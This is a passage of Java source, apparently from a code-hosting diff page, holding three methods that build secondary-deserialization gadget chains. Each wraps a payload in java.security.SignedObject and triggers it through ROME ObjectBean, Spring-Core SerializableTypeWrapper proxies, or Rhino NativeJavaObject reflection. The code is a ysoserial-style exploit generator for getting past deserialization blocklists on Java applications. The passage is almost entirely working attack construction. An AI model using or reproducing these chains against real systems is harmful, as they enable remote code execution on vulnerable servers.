public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return makeMap(root, root);
|
||||
}
|
||||
|
||||
|
||||
// Spring-Core 二次反序列化
|
||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
|
||||
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
|
||||
setFieldValue(mitp, "methodName", "getObject");
|
||||
return mitp;
|
||||
}
|
||||
|
||||
// Rhino 二次反序列化
|
||||
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
|
||||
ScriptableObject initContextScriptableObject = new Environment();
|
||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||
Reflections.setAccessible(makeSlot);
|
||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||
setFieldValue(slot, "getter", initContextMemberBox);
|
||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||
ScriptableObject scriptableObject = new Environment();
|
||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||
makeSlot.invoke(scriptableObject, "object", 0, 2);
|
||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||
setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||
setFieldValue(nativeJavaArray, "javaObject", obj);
|
||||
nativeJavaArray.setPrototype(scriptableObject);
|
||||
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||
setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||
setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||
|
||||
return nativeJavaObject;
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user